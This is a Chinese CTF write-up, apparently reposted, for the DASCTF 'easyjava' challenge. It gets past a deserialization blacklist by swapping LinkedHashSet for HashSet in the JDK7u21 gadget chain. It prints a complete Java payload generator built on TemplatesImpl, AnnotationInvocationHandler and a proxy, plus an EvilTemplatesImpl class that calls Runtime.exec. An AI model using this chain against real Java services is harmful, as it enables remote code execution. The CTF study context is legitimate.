[DASCTF][Java反序列化]easyjava简单分析

Posted Y4tacker

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[DASCTF][Java反序列化]easyjava简单分析相关的知识,希望对你有一定的参考价值。

写在前面

昨天题目环境似乎出了点小问题,咋也不好问,咋也不敢说,题目有意思,当然还有其他链子猜测jdbc应该也可以打,没试过太懒了

easyjava

首先下载源码发现Java版本是1.7的,先放这里

看看在evil路由下面,很明显是去触发反序列化,但是有过滤

ban了这么多,cc链基本上不用想了,一方面是低版本不起作用,另一方面Transformer被ban了,看来只能用TemplatesImpl去执行字节码试一试,想到了Java7U21反序列化(可以看我博客分析)[Java反序列化]JDK7U21原生反序列化利用链分析
这里只禁用了java.util.LinkedHashSet,结合7U21原理,这玩意儿是基于链表实现的Hashset,这个被ban了,那我就用Hashset替换就好了,不过直接改了HashSet是无法触发的


只需要将这两个换位置即可

就是这样,这就是HashSet与LinkedHashSet的区别所在了

放出payload吧也不难小小改一波7U21

public class test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        String zeroHashCodeStr = "f5a5a608";
        // 实例化一个map,并添加MagicNumber为key,也就是f5a5a608,value先随便设置一个值
        HashMap map = new HashMap();
        // 将恶意templates设置到map中
        map.put(zeroHashCodeStr, templates);
        // 实例化AnnotationInvocationHandler类
        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
        // 为tempHandler创造一层代理
        Templates proxy = (Templates) Proxy.newProxyInstance(test.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
        // 实例化HashSet,并将两个对象放进去
        HashSet set = new HashSet();
        set.add(proxy);
        set.add(templates);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(set);
        System.out.println(new BASE64Encoder().encode(barr.toByteArray()));
        oos.close();

    }
}

还有

public class EvilTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public EvilTemplatesImpl() throws Exception {
        super();
        Runtime.getRuntime().exec("执行命令");
    }
}

用了ClassPool,记得在maven添加依赖

<dependency>
          <groupId>javassist</groupId>
          <artifactId>javassist</artifactId>
          <version>3.12.1.GA</version>
</dependency>

成功 有点意思

推荐文章

[Java反序列化]JDK7U21原生反序列化利用链分析

以上是关于[DASCTF][Java反序列化]easyjava简单分析的主要内容,如果未能解决你的问题,请参考以下文章

Java序列化与反序列化

DASCTF Oct X 吉林工师-欢迎来到魔法世界-misc-闯入魔塔的魔法少女

Java序列化与反序列化

什么是java的序列化和反序列化?

Java序列化与反序列化

Java序列化与反序列化